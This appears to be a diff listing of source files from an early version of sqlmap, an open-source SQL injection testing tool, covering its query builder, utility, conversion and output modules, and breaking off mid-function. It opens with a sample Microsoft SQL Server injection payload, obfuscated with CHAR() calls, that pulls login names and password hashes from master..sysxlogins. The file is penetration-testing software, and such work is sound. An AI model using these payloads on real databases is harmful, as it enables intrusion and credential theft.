Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
||||
|
||||
@param query: it is a processed query string unescaped to be
|
||||
forged within an UNION ALL SELECT statement
|
||||
@type query: C{str}
|
||||
|
||||
@param exprPosition: it is the NULL position where it is possible
|
||||
to inject the query
|
||||
@type exprPosition: C{int}
|
||||
|
||||
@return: UNION ALL SELECT query string forged
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
|
||||
for element in range(kb.unionCount):
|
||||
if element > 0:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += "%s" % query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if " ORDER BY " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery = inbandQuery[:orderIndex]
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
549
lib/core/common.py
Normal file
549
lib/core/common.py
Normal file
|
@ -0,0 +1,549 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: common.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def paramToDict(place, parameters=None):
|
||||
"""
|
||||
Split the parameters into names and values, check if these parameters
|
||||
are within the testable parameters and return in a dictionary.
|
||||
|
||||
@param place: where sqlmap has to work, can be GET, POST or Cookie.
|
||||
@type place: C{str}
|
||||
|
||||
@param parameters: parameters string in the format for instance
|
||||
'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
|
||||
@type parameters: C{str}
|
||||
|
||||
@return: the parameters in a dictionary.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
testableParameters = {}
|
||||
|
||||
if conf.parameters.has_key(place) and not parameters:
|
||||
parameters = conf.parameters[place]
|
||||
|
||||
parameters = parameters.replace(", ", ",")
|
||||
|
||||
if place == "Cookie":
|
||||
splitParams = parameters.split(";")
|
||||
else:
|
||||
splitParams = parameters.split("&")
|
||||
|
||||
for element in splitParams:
|
||||
elem = element.split("=")
|
||||
|
||||
if len(elem) == 2:
|
||||
parameter = elem[0]
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= parameter in conf.testParameter
|
||||
|
||||
if condition:
|
||||
value = elem[1]
|
||||
if value:
|
||||
testableParameters[parameter] = value
|
||||
|
||||
if conf.testParameter and not testableParameters:
|
||||
paramStr = ", ".join(test for test in conf.testParameter)
|
||||
|
||||
if len(conf.testParameter) > 1:
|
||||
warnMsg = "the testable parameters '%s' " % paramStr
|
||||
warnMsg += "you provided are not into the %s" % place
|
||||
else:
|
||||
parameter = conf.testParameter[0]
|
||||
|
||||
warnMsg = "the testable parameter '%s' " % paramStr
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
|
||||
if conf.googleDork:
|
||||
warnMsg += ", skipping to next url"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif len(conf.testParameter) != len(testableParameters.keys()):
|
||||
for parameter in conf.testParameter:
|
||||
if not testableParameters.has_key(parameter):
|
||||
warnMsg = "the testable parameter '%s' " % parameter
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return testableParameters
|
||||
|
||||
|
||||
def formatFingerprint(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not versions:
|
||||
versions = kb.dbmsVersion
|
||||
|
||||
if isinstance(versions, str):
|
||||
return "%s %s" % (kb.dbms, versions)
|
||||
elif isinstance(versions, (list, set, tuple)):
|
||||
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
||||
|
||||
|
||||
def getHtmlErrorFp():
|
||||
"""
|
||||
This function parses the knowledge base htmlFp list and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: list of possible back-end DBMS based upon error messages
|
||||
parsing.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
htmlParsed = ""
|
||||
|
||||
if not kb.htmlFp:
|
||||
return None
|
||||
|
||||
if len(kb.htmlFp) == 1:
|
||||
htmlVer = kb.htmlFp[0]
|
||||
htmlParsed = htmlVer
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
"""
|
||||
This method returns the web application document root based on the
|
||||
detected absolute files paths in the knowledge base.
|
||||
"""
|
||||
|
||||
docRoot = None
|
||||
|
||||
if kb.absFilePaths:
|
||||
logMsg = "retrieved the possible injectable "
|
||||
logMsg += "file absolute system paths: "
|
||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the injectable file "
|
||||
warnMsg += "absolute system path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
for absFilePath in kb.absFilePaths:
|
||||
if conf.path in absFilePath:
|
||||
index = absFilePath.index(conf.path)
|
||||
docRoot = absFilePath[:index]
|
||||
break
|
||||
|
||||
if docRoot:
|
||||
logMsg = "retrieved the remote web server "
|
||||
logMsg += "document root: '%s'" % docRoot
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
warnMsg = "unable to retrieve the remote web server "
|
||||
warnMsg += "document root"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return docRoot
|
||||
|
||||
|
||||
def getDirectories():
|
||||
"""
|
||||
This method calls a function that returns the web application document
|
||||
root and injectable file absolute system path.
|
||||
|
||||
@return: a set of paths (document root and absolute system path).
|
||||
@rtype: C{set}
|
||||
@todo: replace this function with a site crawling functionality.
|
||||
"""
|
||||
|
||||
directories = set()
|
||||
|
||||
kb.docRoot = getDocRoot()
|
||||
|
||||
if kb.docRoot:
|
||||
directories.add(kb.docRoot)
|
||||
|
||||
pagePath = re.search('^/(.*)/', conf.path)
|
||||
|
||||
if kb.docRoot and pagePath:
|
||||
pagePath = pagePath.groups()[0]
|
||||
|
||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
||||
|
||||
return directories
|
||||
|
||||
|
||||
def filePathToString(filePath):
|
||||
string = filePath.replace("/", "_").replace("\\", "_")
|
||||
string = string.replace(" ", "_").replace(":", "_")
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def dataToStdout(data):
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def dataToSessionFile(data):
|
||||
conf.sessionFP.write(data)
|
||||
conf.sessionFP.flush()
|
||||
|
||||
|
||||
def dataToDumpFile(dumpFile, data):
|
||||
dumpFile.write(data)
|
||||
dumpFile.flush()
|
||||
|
||||
|
||||
def strToHex(string):
|
||||
"""
|
||||
@param string: string to be converted into its hexadecimal value.
|
||||
@type string: C{str}
|
||||
|
||||
@return: the hexadecimal converted string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
hexStr = ""
|
||||
|
||||
for character in string:
|
||||
if character == "\n":
|
||||
character = " "
|
||||
|
||||
hexChar = "%2x" % ord(character)
|
||||
hexChar = hexChar.replace(" ", "0")
|
||||
hexChar = hexChar.upper()
|
||||
|
||||
hexStr += hexChar
|
||||
|
||||
return hexStr
|
||||
|
||||
|
||||
def fileToStr(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as a no
|
||||
NEWLINE string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as a string without TAB and NEWLINE.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
filePointer = open(fileName, "r")
|
||||
fileText = filePointer.read()
|
||||
|
||||
fileText = fileText.replace(" ", "")
|
||||
fileText = fileText.replace("\t", "")
|
||||
fileText = fileText.replace("\r", "")
|
||||
fileText = fileText.replace("\n", " ")
|
||||
|
||||
return fileText
|
||||
|
||||
|
||||
def fileToHex(fileName):
|
||||
"""
|
||||
@param fileName: file path to read the content and return as an
|
||||
hexadecimal string.
|
||||
@type fileName: C{file.open}
|
||||
|
||||
@return: the file content as an hexadecimal string.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
fileText = fileToStr(fileName)
|
||||
hexFile = strToHex(fileText)
|
||||
|
||||
return hexFile
|
||||
|
||||
|
||||
def readInput(message, default=None):
|
||||
"""
|
||||
@param message: message to display on terminal.
|
||||
@type message: C{str}
|
||||
|
||||
@return: a string read from keyboard as input.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if conf.batch and default:
|
||||
infoMsg = "%s%s" % (message, str(default))
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "used the default behaviour, running in batch mode"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
data = default
|
||||
else:
|
||||
data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message))
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def randomRange(start=0, stop=1000):
|
||||
"""
|
||||
@param start: starting number.
|
||||
@type start: C{int}
|
||||
|
||||
@param stop: last number.
|
||||
@type stop: C{int}
|
||||
|
||||
@return: a random number within the range.
|
||||
@rtype: C{int}
|
||||
"""
|
||||
|
||||
return int(random.randint(start, stop))
|
||||
|
||||
|
||||
def randomInt(length=4):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of digits.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||
|
||||
|
||||
def randomStr(length=5):
|
||||
"""
|
||||
@param length: length of the random string.
|
||||
@type length: C{int}
|
||||
|
||||
@return: a random string of characters.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||
|
||||
|
||||
def sanitizeStr(string):
|
||||
"""
|
||||
@param string: string to sanitize: cast to str datatype and replace
|
||||
newlines with one space and strip carriage returns.
|
||||
@type string: C{str}
|
||||
|
||||
@return: sanitized string
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
cleanString = str(string)
|
||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||
|
||||
return cleanString
|
||||
|
||||
|
||||
def checkFile(filename):
|
||||
"""
|
||||
@param filename: filename to check if it exists.
|
||||
@type filename: C{str}
|
||||
"""
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||
|
||||
|
||||
def replaceNewlineTabs(string):
|
||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||
|
||||
return replacedString
|
||||
|
||||
|
||||
def banner():
|
||||
"""
|
||||
This function prints sqlmap banner with its version
|
||||
"""
|
||||
|
||||
print """
|
||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
""" % VERSION_STRING
|
||||
|
||||
|
||||
def parsePasswordHash(password):
|
||||
blank = " " * 8
|
||||
|
||||
if not password or password == " ":
|
||||
password = "NULL"
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server" and password != "NULL":
|
||||
hexPassword = password
|
||||
password = "%s\n" % hexPassword
|
||||
password += "%sheader: %s\n" % (blank, hexPassword[:6])
|
||||
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
|
||||
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
|
||||
|
||||
if kb.dbmsVersion[0] not in ( "2005", "2008" ):
|
||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||
|
||||
return password
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
upperQuery = query.replace("select ", "SELECT ")
|
||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||
|
||||
return upperQuery
|
||||
|
||||
|
||||
def setPaths():
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
||||
|
||||
# sqlmap files
|
||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_PATH
|
||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
||||
|
||||
|
||||
def weAreFrozen():
|
||||
"""
|
||||
Returns whether we are frozen via py2exe.
|
||||
This will affect how we find out where we are located.
|
||||
Reference: http://www.py2exe.org/index.cgi/WhereAmI
|
||||
"""
|
||||
|
||||
return hasattr(sys, "frozen")
|
||||
|
||||
|
||||
def parseTargetUrl():
|
||||
"""
|
||||
Parse target url and set some attributes into the configuration
|
||||
singleton.
|
||||
"""
|
||||
|
||||
if not conf.url:
|
||||
return
|
||||
|
||||
if not re.search("^http[s]*://", conf.url):
|
||||
if ":443/" in conf.url:
|
||||
conf.url = "https://" + conf.url
|
||||
else:
|
||||
conf.url = "http://" + conf.url
|
||||
|
||||
__urlSplit = urlparse.urlsplit(conf.url)
|
||||
__hostnamePort = __urlSplit[1].split(":")
|
||||
|
||||
conf.scheme = __urlSplit[0]
|
||||
conf.path = __urlSplit[2]
|
||||
conf.hostname = __hostnamePort[0]
|
||||
|
||||
if len(__hostnamePort) == 2:
|
||||
conf.port = int(__hostnamePort[1])
|
||||
elif conf.scheme == "https":
|
||||
conf.port = 443
|
||||
else:
|
||||
conf.port = 80
|
||||
|
||||
if __urlSplit[3]:
|
||||
conf.parameters["GET"] = __urlSplit[3]
|
||||
|
||||
conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
|
||||
|
||||
|
||||
def expandAsteriskForColumns(expression):
|
||||
# If the user provided an asterisk rather than the column(s)
|
||||
# name, sqlmap will retrieve the columns itself and reprocess
|
||||
# the SQL query string (expression)
|
||||
asterisk = re.search("^SELECT\s+\*\s+FROM\s+(\w+)[\.]+(\w+)\s*", expression, re.I)
|
||||
|
||||
if asterisk:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
infoMsg += "sqlmap will retrieve the column names itself"
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.db = asterisk.group(1)
|
||||
conf.tbl = asterisk.group(2)
|
||||
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
|
||||
|
||||
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
|
||||
columns = columnsDict[conf.db][conf.tbl].keys()
|
||||
columns.sort()
|
||||
columnsStr = ", ".join([column for column in columns])
|
||||
expression = expression.replace("*", columnsStr, 1)
|
||||
|
||||
infoMsg = "the query with column names is: "
|
||||
infoMsg += "%s" % expression
|
||||
logger.info(infoMsg)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
limitStart = 1
|
||||
limitStop = count
|
||||
|
||||
if dump:
|
||||
if isinstance(conf.limitStop, int) and conf.limitStop < count:
|
||||
limitStop = conf.limitStop
|
||||
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
# TODO: also for Microsoft SQL Server in getColumns method?
|
||||
if kb.dbms == "Oracle":
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
|
||||
return indexRange
|
82
lib/core/convert.py
Normal file
82
lib/core/convert.py
Normal file
|
@ -0,0 +1,82 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import sha
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
def base64decode(string):
|
||||
return string.decode("base64")
|
||||
|
||||
|
||||
def base64encode(string):
|
||||
return string.encode("base64")[:-1]
|
||||
|
||||
|
||||
def hexdecode(string):
|
||||
string = string.lower()
|
||||
|
||||
if string.startswith("0x"):
|
||||
string = string[2:]
|
||||
|
||||
return string.decode("hex")
|
||||
|
||||
|
||||
def hexencode(string):
|
||||
return string.encode("hex")
|
||||
|
||||
|
||||
def md5hash(string):
|
||||
return md5.new(string).hexdigest()
|
||||
|
||||
|
||||
def orddecode(string):
|
||||
packedString = struct.pack("!"+"I" * len(string), *string)
|
||||
return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
|
||||
|
||||
|
||||
def ordencode(string):
|
||||
return tuple([ord(char) for char in string])
|
||||
|
||||
|
||||
def sha1hash(string):
|
||||
return sha.new(string).hexdigest()
|
||||
|
||||
|
||||
def urldecode(string):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.unquote_plus(string)
|
||||
|
||||
|
||||
def urlencode(string, safe=":/?%&="):
|
||||
if not string:
|
||||
return
|
||||
|
||||
return urllib.quote(string, safe)
|
48
lib/core/data.py
Normal file
48
lib/core/data.py
Normal file
|
@ -0,0 +1,48 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: data.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.settings import LOGGER
|
||||
|
||||
# sqlmap paths
|
||||
paths = advancedDict()
|
||||
|
||||
# object to share within function and classes command
|
||||
# line options and settings
|
||||
conf = advancedDict()
|
||||
|
||||
# object to share within function and classes results
|
||||
kb = advancedDict()
|
||||
|
||||
# object to share within function and classes temporary data,
|
||||
# just for internal use
|
||||
temp = advancedDict()
|
||||
|
||||
# object with each database management system specific queries
|
||||
queries = {}
|
||||
|
||||
# logger
|
||||
logger = LOGGER
|
77
lib/core/datatype.py
Normal file
77
lib/core/datatype.py
Normal file
|
@ -0,0 +1,77 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapDataException
|
||||
|
||||
|
||||
class advancedDict(dict):
|
||||
"""
|
||||
This class defines the sqlmap object, inheriting from Python data
|
||||
type dictionary.
|
||||
"""
|
||||
|
||||
def __init__(self, indict=None, attribute=None):
|
||||
if indict is None:
|
||||
indict = {}
|
||||
|
||||
# Set any attributes here - before initialisation
|
||||
# these remain as normal attributes
|
||||
self.attribute = attribute
|
||||
dict.__init__(self, indict)
|
||||
self.__initialised = True
|
||||
|
||||
# After initialisation, setting attributes
|
||||
# is the same as setting an item
|
||||
|
||||
|
||||
def __getattr__(self, item):
|
||||
"""
|
||||
Maps values to attributes
|
||||
Only called if there *is NOT* an attribute with this name
|
||||
"""
|
||||
|
||||
try:
|
||||
return self.__getitem__(item)
|
||||
except KeyError:
|
||||
raise sqlmapDataException, "Unable to access item '%s'" % item
|
||||
|
||||
|
||||
def __setattr__(self, item, value):
|
||||
"""
|
||||
Maps attributes to values
|
||||
Only if we are initialised
|
||||
"""
|
||||
|
||||
# This test allows attributes to be set in the __init__ method
|
||||
if not self.__dict__.has_key('_advancedDict__initialised'):
|
||||
return dict.__setattr__(self, item, value)
|
||||
|
||||
# Any normal attributes are handled normally
|
||||
elif self.__dict__.has_key(item):
|
||||
dict.__setattr__(self, item, value)
|
||||
|
||||
else:
|
||||
self.__setitem__(item, value)
|
||||
|
307
lib/core/dump.py
Normal file
307
lib/core/dump.py
Normal file
|
@ -0,0 +1,307 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import filePathToString
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Dump:
|
||||
"""
|
||||
This class defines methods used to parse and output the results
|
||||
of SQL injection actions
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.__outputFile = None
|
||||
self.__outputFP = None
|
||||
|
||||
|
||||
def __write(self, data, n=True, rFile=False):
|
||||
if n:
|
||||
print data
|
||||
self.__outputFP.write("%s\n" % data)
|
||||
|
||||
# TODO: do not duplicate queries output in the text file, check
|
||||
# before if the data is already within the text file content
|
||||
if rFile and conf.rFile:
|
||||
rFile = filePathToString(conf.rFile)
|
||||
rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
|
||||
rFileFP.write(data)
|
||||
rFileFP.close()
|
||||
else:
|
||||
print data,
|
||||
self.__outputFP.write("%s " % data)
|
||||
|
||||
self.__outputFP.flush()
|
||||
|
||||
conf.loggedToOut = True
|
||||
|
||||
|
||||
def setOutputFile(self):
|
||||
self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
|
||||
self.__outputFP = open(self.__outputFile, "a")
|
||||
|
||||
|
||||
def string(self, header, data):
|
||||
if isinstance(data, (list, tuple, set)):
|
||||
self.lister(header, data)
|
||||
|
||||
return
|
||||
|
||||
if data:
|
||||
data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
|
||||
data = data.replace("__START__", "").replace("__STOP__", "")
|
||||
data = data.replace("__DEL__", ", ")
|
||||
|
||||
if "\n" in data:
|
||||
self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
|
||||
else:
|
||||
self.__write("%s: '%s'\n" % (header, data))
|
||||
else:
|
||||
self.__write("%s:\tNone\n" % header)
|
||||
|
||||
|
||||
def lister(self, header, elements):
|
||||
self.__write("%s [%d]:" % (header, len(elements)))
|
||||
|
||||
try:
|
||||
elements = set(elements)
|
||||
elements = list(elements)
|
||||
elements.sort(key=lambda x: x.lower())
|
||||
except:
|
||||
pass
|
||||
|
||||
for element in elements:
|
||||
if isinstance(element, str):
|
||||
self.__write("[*] %s" % element)
|
||||
elif isinstance(element, (list, tuple, set)):
|
||||
self.__write("[*] " + ", ".join(e for e in element))
|
||||
|
||||
self.__write("")
|
||||
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader):
|
||||
self.__areAdmins = set()
|
||||
|
||||
self.__write("%s:" % header)
|
||||
|
||||
if isinstance(userSettings, (tuple, list, set)):
|
||||
self.__areAdmins = userSettings[1]
|
||||
userSettings = userSettings[0]
|
||||
|
||||
users = userSettings.keys()
|
||||
users.sort(key=lambda x: x.lower())
|
||||
|
||||
